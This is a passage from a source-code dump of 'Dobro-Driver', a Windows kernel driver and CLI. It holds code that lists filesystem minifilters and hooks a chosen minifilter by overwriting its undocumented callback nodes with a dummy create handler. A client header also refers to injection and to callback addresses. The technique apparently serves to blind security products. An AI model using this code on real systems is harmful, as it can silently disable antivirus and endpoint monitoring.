371 | { 372 | UNICODE_STRING nameMf; 373 | nameMf.Buffer = filterFullInformation->FilterNameBuffer; 374 | nameMf.Length = filterFullInformation->FilterNameLength; 375 | nameMf.MaximumLength = filterFullInformation->FilterNameLength; 376 | 377 | LOG("Found & skip minifilter (array is full): %wZ", &nameMf); 378 | } 379 | 380 | } 381 | ExFreePoolWithTag(filterFullInformation, POOL_TAG); 382 | } 383 | } 384 | FltObjectDereference(filterList[i]); 385 | } 386 | ExFreePoolWithTag(filterList, POOL_TAG); 387 | } 388 | } 389 | 390 | *data = g_listFSMinifilters; 391 | 392 | return g_cntFSMinifilters; 393 | } 394 | 395 | ////////////////////////////////////////////////////////////////////////// 396 | // Get name FS minifilter by index 397 | ////////////////////////////////////////////////////////////////////////// 398 | PWCHAR FSH_GetFSMinifilterByIndex(ULONG index) 399 | { 400 | if (index >= g_cntFSMinifilters) 401 | return NULL; 402 | 403 | return &g_listFSMinifilters[index * DEF_MOD_NAME_LEN_SYM]; 404 | } 405 | 406 | ////////////////////////////////////////////////////////////////////////// 407 | // Hook minifilter 408 | ////////////////////////////////////////////////////////////////////////// 409 | volatile LONG g_hookMinifilter = FALSE; 410 | 411 | NTSTATUS FSH_Hook(PUNICODE_STRING filterName) 412 | { 413 | NTSTATUS status; 414 | 415 | if (g_hookMinifilter == FALSE) 416 | { 417 | FltFilterGuard filter(filterName); 418 | if (filter.isValid()) 419 | { 420 | HookCallbacks(filter); 421 | 422 | InterlockedExchange(&g_hookMinifilter, TRUE); 423 | 424 | LOG("[+] Hook FS minifilter: %wZ", filterName); 425 | 426 | status = STATUS_SUCCESS; 427 | } 428 | else 429 | { 430 | LOG("[-] Hook FS minifilter: %wZ", filterName); 431 | 432 | status = STATUS_UNSUCCESSFUL; 433 | } 434 | } 435 | else 436 | { 437 | LOG("[-] Already hooked FS minifilter"); 438 | 439 | status = STATUS_ALREADY_REGISTERED; 440 | } 441 | 442 | return status; 443 | } 444 | 445 | ////////////////////////////////////////////////////////////////////////// 446 | // Unhook minifilter 447 | ////////////////////////////////////////////////////////////////////////// 448 | NTSTATUS FSH_UnHook() 449 | { 450 | NTSTATUS status; 451 | 452 | if (g_hookMinifilter == TRUE) 453 | { 454 | UnHookCallbacks(); 455 | 456 | InterlockedExchange(&g_hookMinifilter, FALSE); 457 | 458 | LOG("[+] Unhooked FS minifilter"); 459 | 460 | status = STATUS_SUCCESS; 461 | } 462 | else 463 | { 464 | LOG("[-] Not hooked FS minifilter"); 465 | 466 | status = STATUS_ALREADY_REGISTERED; 467 | } 468 | 469 | return status; 470 | } 471 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/FsMinifilterHooking.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "PrivateStructs.h" 5 | #include "RAIIUtils.h" 6 | 7 | typedef FLT_PREOP_CALLBACK_STATUS(*PreCallbackProt)( 8 | _Inout_ PFLT_CALLBACK_DATA Data, 9 | _In_ PCFLT_RELATED_OBJECTS FltObjects, 10 | _Flt_CompletionContext_Outptr_ PVOID* CompletionContext); 11 | 12 | typedef FLT_POSTOP_CALLBACK_STATUS(*PostCallbackProt)( 13 | _Inout_ PFLT_CALLBACK_DATA Data, 14 | _In_ PCFLT_RELATED_OBJECTS FltObjects, 15 | _In_opt_ PVOID CompletionContext, 16 | _In_ FLT_POST_OPERATION_FLAGS Flags); 17 | 18 | // Array that contain all instances that hooked and their original CallbackNodes 19 | ArrayGuard* originalInstances = nullptr; 20 | 21 | FLT_PREOP_CALLBACK_STATUS DummyCreatePreOperation( 22 | PFLT_CALLBACK_DATA Data, 23 | PCFLT_RELATED_OBJECTS FltObjects, 24 | PVOID* CompletionContext); 25 | 26 | CONST FLT_OPERATION_REGISTRATION Callbacks[] = 27 | { 28 | { IRP_MJ_CREATE, 0, DummyCreatePreOperation, NULL }, 29 | { IRP_MJ_OPERATION_END } 30 | }; 31 | 32 | const FLT_REGISTRATION FilterRegistration = 33 | { 34 | sizeof(FLT_REGISTRATION), // Size 35 | FLT_REGISTRATION_VERSION, // Version 36 | 0, // Flags 37 | NULL, // Context Registration. 38 | Callbacks, // Operation callbacks 39 | NULL, // FilterUnload 40 | NULL, // InstanceSetup 41 | NULL, // InstanceQueryTeardown 42 | NULL, // InstanceTeardownStart 43 | NULL, // InstanceTeardownComplete 44 | NULL, // GenerateFileName 45 | NULL, // NormalizeNameComponent 46 | NULL, // NormalizeContextCleanup 47 | }; 48 | 49 | // Get CallbackNodes from global instances array by specific instance in parameter 50 | PCALLBACK_NODE GetCachedCallbackNodesByInstance(PFLT_INSTANCE instance); 51 | 52 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/FsMinifilterProto.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | VOID FSH_Unload(PDRIVER_OBJECT DriverObject); 4 | NTSTATUS FSH_DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath); 5 | 6 | NTSTATUS FSH_Hook(PUNICODE_STRING filterName); 7 | NTSTATUS FSH_UnHook(); 8 | ULONG FSH_GetListFilters(PWCHAR *data); 9 | PWCHAR FSH_GetFSMinifilterByIndex(ULONG index); 10 | 11 | 12 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/HelperPS.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "CRTLib.h" 5 | #include "Common.h" 6 | 7 | ////////////////////////////////////////////////////////////////////////// 8 | // Prototype NT API 9 | ////////////////////////////////////////////////////////////////////////// 10 | extern "C" 11 | { 12 | NTKERNELAPI 13 | PCHAR 14 | NTAPI 15 | PsGetProcessImageFileName( 16 | _In_ PEPROCESS Process 17 | ); 18 | 19 | NTKERNELAPI 20 | NTSTATUS 21 | PsLookupProcessByProcessId( 22 | _In_ HANDLE ProcessId, 23 | _Outptr_ PEPROCESS* Process 24 | ); 25 | 26 | NTSYSCALLAPI 27 | NTSTATUS 28 | NTAPI 29 | ZwQueryInformationProcess( 30 | _In_ HANDLE ProcessHandle, 31 | _In_ PROCESSINFOCLASS ProcessInformationClass, 32 | _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, 33 | _In_ ULONG ProcessInformationLength, 34 | _Out_opt_ PULONG ReturnLength 35 | ); 36 | 37 | NTKERNELAPI 38 | NTSTATUS 39 | ObOpenObjectByPointer( 40 | _In_ PVOID Object, 41 | _In_ ULONG HandleAttributes, 42 | _In_opt_ PACCESS_STATE PassedAccessState, 43 | _In_ ACCESS_MASK DesiredAccess, 44 | _In_opt_ POBJECT_TYPE ObjectType, 45 | _In_ KPROCESSOR_MODE AccessMode, 46 | _Out_ PHANDLE Handle 47 | ); 48 | } 49 | 50 | ////////////////////////////////////////////////////////////////////////// 51 | // Defines 52 | ////////////////////////////////////////////////////////////////////////// 53 | #define MAX_PATH (260) 54 | #define SIZE_BUF (1024) 55 | 56 | ////////////////////////////////////////////////////////////////////////// 57 | // Get process module name 58 | ////////////////////////////////////////////////////////////////////////// 59 | BOOLEAN NTAPI HlpPsGetProcessName(HANDLE pid, PWCHAR procName, ULONG lenProcName) 60 | { 61 | PEPROCESS eProcess = NULL; 62 | HANDLE hProcess = NULL; 63 | NTSTATUS status; 64 | BOOLEAN rc = FALSE; 65 | 66 | WCHAR buffer[(sizeof(UNICODE_STRING) / sizeof(WCHAR)) + SIZE_BUF + 2]; 67 | PUNICODE_STRING usProcName; 68 | 69 | // Initialize Buffer -> UNICODE_STRING 70 | usProcName = (PUNICODE_STRING)buffer; 71 | usProcName->Buffer = &buffer[sizeof(UNICODE_STRING) / sizeof(WCHAR)]; 72 | usProcName->Length = 0x0; 73 | usProcName->MaximumLength = SIZE_BUF * sizeof(WCHAR); 74 | 75 | // Get process name 76 | status = PsLookupProcessByProcessId(pid, &eProcess); 77 | if (NT_SUCCESS(status)) 78 | { 79 | status = ObOpenObjectByPointer(eProcess, 0, NULL, 0, 0, KernelMode, &hProcess); 80 | if (NT_SUCCESS(status)) 81 | { 82 | 83 | status = ZwQueryInformationProcess(hProcess, ProcessImageFileName, buffer, sizeof(buffer), NULL); 84 | 85 | if (NT_SUCCESS(status) && usProcName->Buffer) 86 | { 87 | // Get WSZ 88 | usProcName->Buffer[usProcName->Length] = '\0'; 89 | 90 | // Get only module name 91 | PWCHAR pProcessName = wcsrchr(usProcName->Buffer, L'\\'); 92 | if (pProcessName == NULL) 93 | pProcessName = usProcName->Buffer; 94 | else 95 | pProcessName++; 96 | 97 | if (wcslen(pProcessName) < lenProcName) 98 | { 99 | wcscpy_s(procName, lenProcName, pProcessName); 100 | 101 | rc = TRUE; 102 | } 103 | 104 | // Close HANDLE 105 | ZwClose(hProcess); 106 | } 107 | 108 | ObDereferenceObject(eProcess); 109 | } 110 | } 111 | 112 | return rc; 113 | } 114 | 115 | ////////////////////////////////////////////////////////////////////////// 116 | // Check PS 117 | ////////////////////////////////////////////////////////////////////////// 118 | BOOLEAN NTAPI HlpPsIsFilteredPSByPid(HANDLE pid, PWCHAR whatFind) 119 | { 120 | // Get file name 121 | WCHAR wcProcName[MAX_PATH]; 122 | if (HlpPsGetProcessName(pid, wcProcName, MAX_PATH) == FALSE) 123 | return FALSE; 124 | 125 | PWCHAR p = crt_wcstristr(wcProcName, whatFind); 126 | if (p) 127 | return FALSE; 128 | 129 | return TRUE; 130 | } 131 | 132 | BOOLEAN NTAPI HlpPsIsFilteredPSByName(PCUNICODE_STRING imgFileName, PWCHAR whatFind) 133 | { 134 | if (imgFileName == NULL) 135 | return FALSE; 136 | 137 | WCHAR wcProcName[MAX_PATH * 2]; 138 | RtlStringCbPrintfExW(wcProcName, _countof(wcProcName), NULL, NULL, STRSAFE_NULL_ON_FAILURE, L"%wZ", imgFileName); 139 | 140 | PWCHAR p = crt_wcstristr(wcProcName, whatFind); 141 | if (p) 142 | return FALSE; 143 | 144 | return TRUE; 145 | } 146 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/HelperPS.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | BOOLEAN NTAPI HlpPsGetProcessName(HANDLE pid, PWCHAR procName, ULONG lenProcName); 3 | BOOLEAN NTAPI HlpPsIsFilteredPSByPid(HANDLE pid, PWCHAR whatFind); 4 | BOOLEAN NTAPI HlpPsIsFilteredPSByName(PCUNICODE_STRING imgFileName, PWCHAR whatFind); 5 | 6 | // VOID HlpPsListInit(VOID); 7 | // VOID NTAPI HlpPsListDestroy(VOID); 8 | // BOOLEAN HlpPsCreateAndInsertPsList(HANDLE ProcessId, BOOLEAN IsFiltered); 9 | // BOOLEAN HlpPsFindAndCheckPsList(HANDLE ProcessId); 10 | // BOOLEAN HlpPsFindAndRemovePsList(HANDLE ProcessId); -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Log.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define DRIVER_PREFIX "[D0BR0]" 4 | 5 | #if DBG 6 | #define LOG(format, ...) \ 7 | DbgPrint( DRIVER_PREFIX "[" __FUNCTION__ "][irql:%Iu,pid:%Iu,tid:%Iu]" format "\n", \ 8 | KeGetCurrentIrql(), \ 9 | PsGetCurrentProcessId(), \ 10 | PsGetCurrentThreadId(), \ 11 | __VA_ARGS__) 12 | #else 13 | #define LOG(format, ...) 14 | #endif -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/PrivateStructs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _CALLBACK_NODE 6 | { 7 | LIST_ENTRY CallbackLinks; 8 | PFLT_INSTANCE Instance; 9 | PVOID PreOperation; 10 | PVOID PostOperation; 11 | LONG Flags; 12 | } CALLBACK_NODE, * PCALLBACK_NODE; 13 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/RAIIUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "PrivateStructs.h" 5 | #include "Log.h" 6 | 7 | constexpr ULONG TAG = 'FSH0'; 8 | 9 | template 10 | class ArrayGuard 11 | { 12 | public: 13 | ArrayGuard() : _array(nullptr), _isValid(false), _size(0) {} 14 | 15 | void allocate(POOL_TYPE poolType, size_t objectsCount) 16 | { 17 | if (_array != nullptr) 18 | { 19 | ExFreePoolWithTag(_array, TAG); 20 | _isValid = false; 21 | } 22 | 23 | _array = static_cast(ExAllocatePoolWithTag(poolType, objectsCount * sizeof(T),TAG)); 24 | if (_array == nullptr) 25 | { 26 | _isValid = false; 27 | _size = 0; 28 | 29 | LOG("[-] Allocate memory for array failed"); 30 | return; 31 | } 32 | 33 | _isValid = true; 34 | _size = objectsCount; 35 | } 36 | 37 | ~ArrayGuard() 38 | { 39 | if ((_array != nullptr) && (isValid())) 40 | { 41 | if constexpr (shouldDeleteObj) 42 | { 43 | for (size_t i = 0; i < _size; i++) 44 | { 45 | delete _array[i]; 46 | } 47 | } 48 | 49 | ExFreePoolWithTag(_array, TAG); 50 | } 51 | 52 | _isValid = false; 53 | } 54 | 55 | void* operator new(size_t size) 56 | { 57 | return ExAllocatePoolWithTag(NonPagedPool, size, TAG); 58 | } 59 | 60 | void operator delete(void* p) 61 | { 62 | ExFreePoolWithTag(p, TAG); 63 | } 64 | 65 | T operator [](size_t idx) const { return _array[idx]; } 66 | T& operator [](size_t idx) { return _array[idx]; } 67 | T* get() { return _array; } 68 | bool isValid() const { return _isValid; } 69 | size_t getSize() { return _size; } 70 | 71 | private: 72 | T* _array; 73 | bool _isValid; 74 | size_t _size; 75 | }; 76 | 77 | /** 78 | * guard a FLT_OBJECT 79 | * release FLT_OBJECT when exiting the current context. 80 | */ 81 | template 82 | class FltObjectGuard 83 | { 84 | public: 85 | class FltObjectGuard( 86 | T fltObject, 87 | bool shouldReference = true, 88 | bool shouldDereference = true, 89 | bool isValid = false) : 90 | _object(fltObject), _isValid(isValid), _shouldDereference(shouldDereference) 91 | { 92 | if (shouldReference) 93 | { 94 | if (NT_SUCCESS(FltObjectReference(_object))) 95 | { 96 | _isValid = true; 97 | } 98 | } 99 | } 100 | 101 | ~FltObjectGuard() 102 | { 103 | if ((_object != nullptr) && (isValid()) && (_shouldDereference)) 104 | { 105 | FltObjectDereference(_object); 106 | } 107 | 108 | _isValid = false; 109 | } 110 | 111 | void* operator new(size_t size) 112 | { 113 | return ExAllocatePoolWithTag(NonPagedPool, size, TAG); 114 | } 115 | 116 | void operator delete(void* p) 117 | { 118 | ExFreePoolWithTag(p, TAG); 119 | } 120 | 121 | T& get() { return _object; } 122 | bool isValid() const { return _isValid; } 123 | 124 | protected: 125 | T _object; 126 | bool _isValid; 127 | 128 | bool shouldDereference() { return _shouldDereference; } 129 | 130 | private: 131 | bool _shouldDereference; 132 | }; 133 | 134 | /** 135 | * reference a FLT_INSTANCE 136 | * release FLT_INSTANCE when exiting the current context. 137 | */ 138 | class FltInstanceGuard : public FltObjectGuard 139 | { 140 | public: 141 | 142 | static constexpr unsigned short INVALID_OFFSET = 0xffff; 143 | 144 | FltInstanceGuard( 145 | PFLT_INSTANCE fltInstance, 146 | bool shouldReference = false, 147 | bool shouldDereference = true, 148 | bool isValid = true) : 149 | FltObjectGuard(fltInstance, shouldReference, shouldDereference, isValid) {} 150 | 151 | /** 152 | * return pointer to field of CallbackNodes in FLT_INSTANCE 153 | */ 154 | PCALLBACK_NODE* getPointerToCallbackNodesField() 155 | { 156 | if (_offsetCallbackNodesField == INVALID_OFFSET) 157 | { 158 | LOG("[-] Offset of CallbackNodes field not set"); 159 | return nullptr; 160 | } 161 | 162 | return reinterpret_cast( 163 | reinterpret_cast(get()) + _offsetCallbackNodesField); 164 | } 165 | 166 | /** 167 | * insert CALLBACK_NODE into cachedCallbackNodes 168 | */ 169 | void cachingCallbackNodes() 170 | { 171 | PCALLBACK_NODE* callbackNodes = getPointerToCallbackNodesField(); 172 | 173 | for (size_t index = 0; index < 50; index++) 174 | { 175 | if (MmIsAddressValid(callbackNodes[index])) 176 | { 177 | _cachedCallbackNodes[index] = *callbackNodes[index]; 178 | } 179 | } 180 | } 181 | 182 | PCALLBACK_NODE getCachedCallbackNodes() { return _cachedCallbackNodes; } 183 | 184 | inline static void setOffsetCallbackNodes(unsigned short offsetCallbackNodes) 185 | { 186 | _offsetCallbackNodesField = offsetCallbackNodes; 187 | } 188 | 189 | private: 190 | CALLBACK_NODE _cachedCallbackNodes[50] = { 0 }; 191 | inline static unsigned short _offsetCallbackNodesField = INVALID_OFFSET; 192 | }; 193 | 194 | 195 | /** 196 | * guard a PFLT_FILTER 197 | * release PFLT_FILTER when exiting the current context. 198 | */ 199 | class FltFilterGuard : public FltObjectGuard 200 | { 201 | public: 202 | FltFilterGuard( 203 | PFLT_FILTER fltFilter, 204 | bool shouldReference = false, 205 | bool shouldDereference = true, 206 | bool isValid = false) : 207 | FltObjectGuard(fltFilter, shouldReference, shouldDereference, isValid) {} 208 | 209 | FltFilterGuard(PCUNICODE_STRING name) : FltObjectGuard(nullptr, false, true, false) 210 | { 211 | if (NT_SUCCESS(FltGetFilterFromName(name, &_object))) 212 | { 213 | _isValid = true; 214 | } 215 | } 216 | 217 | FltFilterGuard( 218 | PDRIVER_OBJECT DriverObject, 219 | const FLT_REGISTRATION& registersion) : FltObjectGuard(nullptr, false, false, false) 220 | { 221 | if (!NT_SUCCESS(FltRegisterFilter(DriverObject, ®istersion, &_object))) 222 | { 223 | LOG("[-] FltRegisterFilter failed"); 224 | return; 225 | } 226 | 227 | _isValid = true; 228 | _isRegistered = true; 229 | } 230 | 231 | ~FltFilterGuard() 232 | { 233 | if ((_object != nullptr) && (isValid()) && (shouldDereference())) 234 | { 235 | FltObjectDereference(_object); 236 | } 237 | 238 | if (isRegistered()) 239 | { 240 | FltUnregisterFilter(get()); 241 | _isRegistered = false; 242 | } 243 | 244 | _isValid = false; 245 | } 246 | 247 | NTSTATUS startFiltering() 248 | { 249 | NTSTATUS status = STATUS_UNSUCCESSFUL; 250 | 251 | if (isRegistered() && isValid()) 252 | { 253 | status = FltStartFiltering(get()); 254 | } 255 | 256 | if(!NT_SUCCESS(status)) 257 | { 258 | LOG("[-] Failed to start filter"); 259 | } 260 | 261 | return status; 262 | } 263 | 264 | unsigned long getInstances(ArrayGuard& instancesGuardArray) 265 | { 266 | NTSTATUS status = STATUS_SUCCESS; 267 | 268 | ArrayGuard fltInstancesArray; 269 | ULONG fltInstancesNumber = 0; 270 | 271 | do 272 | { 273 | if (fltInstancesNumber != 0) 274 | { 275 | fltInstancesArray.allocate(NonPagedPool, fltInstancesNumber); 276 | } 277 | 278 | status = FltEnumerateInstances( 279 | NULL, 280 | get(), 281 | fltInstancesArray.get(), 282 | sizeof(PFLT_INSTANCE) * fltInstancesNumber, 283 | &fltInstancesNumber); 284 | 285 | } while ((status == STATUS_BUFFER_TOO_SMALL) && (fltInstancesNumber != 0)); 286 | 287 | if (!NT_SUCCESS(status)) 288 | { 289 | LOG("[-] Enumeration of instances by filter failed", NT_SUCCESS(status)); 290 | return 0; 291 | } 292 | 293 | if (fltInstancesNumber == 0) 294 | { 295 | return 0; 296 | } 297 | 298 | instancesGuardArray.allocate(NonPagedPool, fltInstancesNumber); 299 | 300 | for (size_t i = 0; i < fltInstancesNumber; i++) 301 | { 302 | instancesGuardArray[i] = new FltInstanceGuard(fltInstancesArray[i], false, true, true); 303 | } 304 | 305 | return fltInstancesNumber; 306 | } 307 | 308 | bool isRegistered() { return _isRegistered; } 309 | 310 | private: 311 | bool _isRegistered = false; 312 | }; 313 | 314 | class FltVolumeGuard : public FltObjectGuard 315 | { 316 | public: 317 | FltVolumeGuard(FltInstanceGuard& instance) : 318 | FltObjectGuard(nullptr, false, true, false) { 319 | 320 | if (NT_SUCCESS(FltGetVolumeFromInstance(instance.get(), &_object))) 321 | { 322 | _isValid = true; 323 | } 324 | } 325 | }; -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/~ListPS.cpp: -------------------------------------------------------------------------------- 1 | // #include 2 | // #include 3 | // #include 4 | // #include "CRTLib.h" 5 | // #include "Common.h" 6 | // 7 | // 8 | // ////////////////////////////////////////////////////////////////////////// 9 | // // List PS 10 | // ////////////////////////////////////////////////////////////////////////// 11 | // typedef struct _PS_INFO 12 | // { 13 | // LIST_ENTRY ListEntry; 14 | // HANDLE ProcessId; 15 | // BOOLEAN IsFiltered; 16 | // } PS_INFO, * PPS_INFO; 17 | // 18 | // FAST_MUTEX g_PsListFastMutexLock; 19 | // LIST_ENTRY g_PsInfoListHead; 20 | // 21 | // VOID 22 | // HlpPsListInit( 23 | // VOID 24 | // ) 25 | // { 26 | // ExInitializeFastMutex(&g_PsListFastMutexLock); 27 | // return; 28 | // } 29 | // 30 | // VOID NTAPI HlpPsListDestroy(VOID) 31 | // { 32 | // PPS_INFO PsInfo = NULL; 33 | // PLIST_ENTRY Entry; 34 | // 35 | // ExAcquireFastMutex(&g_PsListFastMutexLock); 36 | // 37 | // Entry = g_PsInfoListHead.Flink; 38 | // while (Entry != &g_PsInfoListHead) 39 | // { 40 | // PsInfo = CONTAINING_RECORD(Entry, 41 | // PS_INFO, 42 | // ListEntry); 43 | // 44 | // Entry = Entry->Flink; 45 | // 46 | // ExFreePoolWithTag(PsInfo, DRIVER_TAG); 47 | // } 48 | // 49 | // ExReleaseFastMutex(&g_PsListFastMutexLock); 50 | // } 51 | // 52 | // PVOID 53 | // HlpPsCreatePsList( 54 | // HANDLE ProcessId, 55 | // BOOLEAN IsFiltered 56 | // ) 57 | // { 58 | // PPS_INFO PsInfo = NULL; 59 | // BOOLEAN Success = FALSE; 60 | // 61 | // PsInfo = (PPS_INFO)ExAllocatePoolZero( 62 | // NonPagedPoolNx, 63 | // sizeof(PS_INFO), 64 | // DRIVER_TAG); 65 | // 66 | // if (PsInfo == NULL) 67 | // goto Exit; 68 | // 69 | // PsInfo->ProcessId = ProcessId; 70 | // PsInfo->IsFiltered = IsFiltered; 71 | // 72 | // Success = TRUE; 73 | // 74 | // Exit: 75 | // 76 | // if (Success == FALSE) 77 | // { 78 | // if (PsInfo != NULL) 79 | // { 80 | // ExFreePoolWithTag(PsInfo, DRIVER_TAG); 81 | // PsInfo = NULL; 82 | // } 83 | // } 84 | // 85 | // return PsInfo; 86 | // } 87 | // 88 | // BOOLEAN 89 | // HlpPsInsertPsList( 90 | // PPS_INFO PsInfo 91 | // ) 92 | // { 93 | // BOOLEAN Success = FALSE; 94 | // 95 | // ExAcquireFastMutex(&g_PsListFastMutexLock); 96 | // 97 | // InsertHeadList(&g_PsInfoListHead, &PsInfo->ListEntry); 98 | // Success = TRUE; 99 | // 100 | // ExReleaseFastMutex(&g_PsListFastMutexLock); 101 | // 102 | // return Success; 103 | // } 104 | // 105 | // BOOLEAN 106 | // HlpPsCreateAndInsertPsList( 107 | // HANDLE ProcessId, 108 | // BOOLEAN IsFiltered 109 | // ) 110 | // { 111 | // BOOLEAN Success = FALSE; 112 | // PPS_INFO PsInfo = NULL; 113 | // 114 | // PsInfo = (PPS_INFO)HlpPsCreatePsList(ProcessId, IsFiltered); 115 | // if (PsInfo == NULL) 116 | // goto Exit; 117 | // 118 | // Success = HlpPsInsertPsList(PsInfo); 119 | // 120 | // Exit: 121 | // 122 | // return Success; 123 | // } 124 | // 125 | // BOOLEAN 126 | // HlpPsFindAndCheckPsList( 127 | // HANDLE ProcessId 128 | // ) 129 | // { 130 | // PPS_INFO PsInfo = NULL; 131 | // PLIST_ENTRY Entry; 132 | // BOOLEAN IsFiltered = FALSE; 133 | // 134 | // ExAcquireFastMutex(&g_PsListFastMutexLock); 135 | // 136 | // Entry = g_PsInfoListHead.Flink; 137 | // while (Entry != &g_PsInfoListHead) 138 | // { 139 | // 140 | // PsInfo = CONTAINING_RECORD(Entry, 141 | // PS_INFO, 142 | // ListEntry); 143 | // if (PsInfo->ProcessId == ProcessId) 144 | // { 145 | // IsFiltered = PsInfo->IsFiltered; 146 | // break; 147 | // } 148 | // 149 | // Entry = Entry->Flink; 150 | // } 151 | // 152 | // ExReleaseFastMutex(&g_PsListFastMutexLock); 153 | // 154 | // return IsFiltered; 155 | // } 156 | // 157 | // VOID 158 | // HlpPsDeletePsList( 159 | // PPS_INFO PsInfo 160 | // ) 161 | // { 162 | // if (PsInfo != NULL) 163 | // { 164 | // ExFreePoolWithTag(PsInfo, DRIVER_TAG); 165 | // } 166 | // } 167 | // 168 | // BOOLEAN 169 | // HlpPsFindAndRemovePsList( 170 | // HANDLE ProcessId 171 | // ) 172 | // { 173 | // PPS_INFO PsInfo = NULL; 174 | // PLIST_ENTRY Entry; 175 | // BOOLEAN Success = FALSE; 176 | // 177 | // ExAcquireFastMutex(&g_PsListFastMutexLock); 178 | // 179 | // Entry = g_PsInfoListHead.Flink; 180 | // while (Entry != &g_PsInfoListHead) 181 | // { 182 | // 183 | // PsInfo = CONTAINING_RECORD( 184 | // Entry, 185 | // PS_INFO, 186 | // ListEntry); 187 | // if (PsInfo->ProcessId == ProcessId) 188 | // { 189 | // RemoveEntryList(&PsInfo->ListEntry); 190 | // HlpPsDeletePsList(PsInfo); 191 | // Success = TRUE; 192 | // break; 193 | // } 194 | // } 195 | // 196 | // ExReleaseFastMutex(&g_PsListFastMutexLock); 197 | // 198 | // return Success; 199 | // } 200 | ////////////////////////////////////////////////////////////////////////// 201 | 202 | // ////////////////////////////////////////////////////////////////////////// 203 | // // List PS 204 | // ////////////////////////////////////////////////////////////////////////// 205 | // typedef struct _PS_INFO 206 | // { 207 | // LIST_ENTRY ListEntry; 208 | // HANDLE ProcessId; 209 | // BOOLEAN IsFiltered; 210 | // } PS_INFO, * PPS_INFO; 211 | // 212 | // LIST_ENTRY g_PsInfoListHead = { 0 }; 213 | // FAST_MUTEX g_FastMutex = { 0 }; 214 | // 215 | // VOID NTAPI HlpPsListInit(VOID) 216 | // { 217 | // return ExInitializeFastMutex(&g_FastMutex); 218 | // } 219 | // 220 | // VOID NTAPI HlpPsListDestroy(VOID) 221 | // { 222 | // ExAcquireFastMutex(&g_FastMutex); 223 | // 224 | // PLIST_ENTRY NextEntry = g_PsInfoListHead.Flink; 225 | // 226 | // while (NextEntry != &g_PsInfoListHead) 227 | // { 228 | // PPS_INFO PsInfo = CONTAINING_RECORD(NextEntry, PS_INFO, ListEntry); 229 | // NextEntry = NextEntry->Flink; 230 | // 231 | // ExFreePoolWithTag(PsInfo, DRIVER_TAG); 232 | // } 233 | // 234 | // ExReleaseFastMutex(&g_FastMutex); 235 | // } 236 | // 237 | // NTSTATUS NTAPI HlpPsListCreateInjectionInfo(PPS_INFO* PsInfoIn, HANDLE ProcessId) 238 | // { 239 | // PPS_INFO PsInfo; 240 | // 241 | // if (PsInfoIn && *PsInfoIn) 242 | // { 243 | // PsInfo = *PsInfoIn; 244 | // } 245 | // else 246 | // { 247 | // PsInfo = (PPS_INFO)ExAllocatePoolWithTag(NonPagedPoolNx, sizeof(PS_INFO), DRIVER_TAG); 248 | // 249 | // if (!PsInfo) 250 | // { 251 | // return STATUS_INSUFFICIENT_RESOURCES; 252 | // } 253 | // 254 | // if (PsInfo) 255 | // { 256 | // *PsInfoIn = PsInfo; 257 | // } 258 | // } 259 | // 260 | // RtlZeroMemory(PsInfo, sizeof(PS_INFO)); 261 | // PsInfo->ProcessId = ProcessId; 262 | // 263 | // ExAcquireFastMutex(&g_FastMutex); 264 | // 265 | // InsertTailList(&g_PsInfoListHead, &PsInfo->ListEntry); 266 | // 267 | // ExReleaseFastMutex(&g_FastMutex); 268 | // 269 | // return STATUS_SUCCESS; 270 | // } 271 | // 272 | // VOID NTAPI HlpPsListRemoveInjectionInfo(PPS_INFO PsInfo, BOOLEAN FreeMemory) 273 | // { 274 | // ExAcquireFastMutex(&g_FastMutex); 275 | // 276 | // RemoveEntryList(&PsInfo->ListEntry); 277 | // 278 | // ExReleaseFastMutex(&g_FastMutex); 279 | // 280 | // if (FreeMemory) 281 | // { 282 | // ExFreePoolWithTag(PsInfo, DRIVER_TAG); 283 | // } 284 | // } 285 | // 286 | // PPS_INFO NTAPI HlpPsListFindInjectionInfo(HANDLE ProcessId) 287 | // { 288 | // ExAcquireFastMutex(&g_FastMutex); 289 | // 290 | // PPS_INFO fndPsInfo = NULL; 291 | // PLIST_ENTRY NextEntry = g_PsInfoListHead.Flink; 292 | // 293 | // while (NextEntry != &g_PsInfoListHead) 294 | // { 295 | // PPS_INFO PsInfo = CONTAINING_RECORD(NextEntry, PS_INFO, ListEntry); 296 | // 297 | // if (PsInfo->ProcessId == ProcessId) 298 | // { 299 | // fndPsInfo = PsInfo; 300 | // break; 301 | // } 302 | // 303 | // NextEntry = NextEntry->Flink; 304 | // } 305 | // 306 | // ExReleaseFastMutex(&g_FastMutex); 307 | // 308 | // return fndPsInfo; 309 | // } 310 | // 311 | // VOID NTAPI HlpPsListRemoveInjectionInfoByProcessId(HANDLE ProcessId, BOOLEAN FreeMemory) 312 | // { 313 | // PPS_INFO PsInfo = HlpPsListFindInjectionInfo(ProcessId); 314 | // 315 | // if (PsInfo) 316 | // { 317 | // HlpPsListRemoveInjectionInfo(PsInfo, FreeMemory); 318 | // } 319 | // } 320 | // 321 | ////////////////////////////////////////////////////////////////////////// -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/DobroCli.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "..\Dobro\Common.h" 4 | #include "Inject.h" 5 | 6 | int Error(const char* message) 7 | { 8 | printf("[ERROR] %s (error code = %d)\n", message, GetLastError()); 9 | return -1; 10 | } 11 | 12 | void Usage() 13 | { 14 | printf("Usage: DobroCli.exe \n"); 15 | printf("Options:\n"); 16 | printf(" -h\t\t\t\tShow this message.\n"); 17 | printf(" -l\t\t\t\tProcess & Thread Notify Callbacks Address's & FS Minifilters 